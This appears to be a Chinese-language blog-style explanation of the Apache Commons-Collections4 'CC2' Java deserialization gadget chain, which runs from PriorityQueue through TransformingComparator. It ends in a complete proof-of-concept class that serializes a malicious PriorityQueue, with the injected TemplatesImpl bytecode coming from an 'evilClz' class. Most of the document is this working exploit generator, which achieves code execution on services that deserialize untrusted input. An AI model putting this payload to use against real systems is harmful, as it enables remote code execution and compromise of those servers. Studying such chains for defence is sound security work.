基于 commons-collections4
核心是 java.util.PriorityQueue 和 org.apache.commons.collections4.comparators.TransformingComparator
PriorityQueue 顾名思义是一个优先级队列,他有如下特质:
- 拥有readObject方法
- 在readObject时会将队列元素有序排列
- 就会有如下的调用, 最终会调用到一个compartor.
heapify() -> siftDown() -> siftDownUsingComparator() -> comparator.compare()
TransformingComparator 就是一个comparator, 并且可以序列化,
看其名字是与transform有关的, 可以发现在其compare方法中会调用到 this.transformer.transform(obj1)
这样就不难理解这个链了, 构造恶意的transformers链然后放到TransformingComparator, 再把PriorityQueue的比较器设置为恶意的Comparator即可.
完整POC:
package test.com.cc;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import test.com.Reflections;
import java.util.PriorityQueue;
import org.apache.commons.collections4.comparators.TransformingComparator;
import test.com.Serializer;
public class cc2 {
public static byte[] payload() throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass ct = pool.get(bad.evilClz.class.getName());
byte[] shellcode = ct.toBytecode();
TemplatesImpl tmpl = new TemplatesImpl();
Reflections.setFieldValue(tmpl,"_bytecodes",new byte[][] {shellcode});
Reflections.setFieldValue(tmpl,"_name","testName");
Reflections.setFieldValue(tmpl,"_tfactory",new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(tmpl),
new InvokerTransformer("newTransformer",null,null),
};
Transformer transformerChain = new ChainedTransformer(new Transformer[]{});
TransformingComparator tc = new TransformingComparator(transformerChain);
PriorityQueue pq = new PriorityQueue(100,tc);
pq.add(1);
pq.add(1);
pq.add(1);
Reflections.setFieldValue(transformerChain,"iTransformers",transformers);
return Serializer.Serialize(pq);
}
}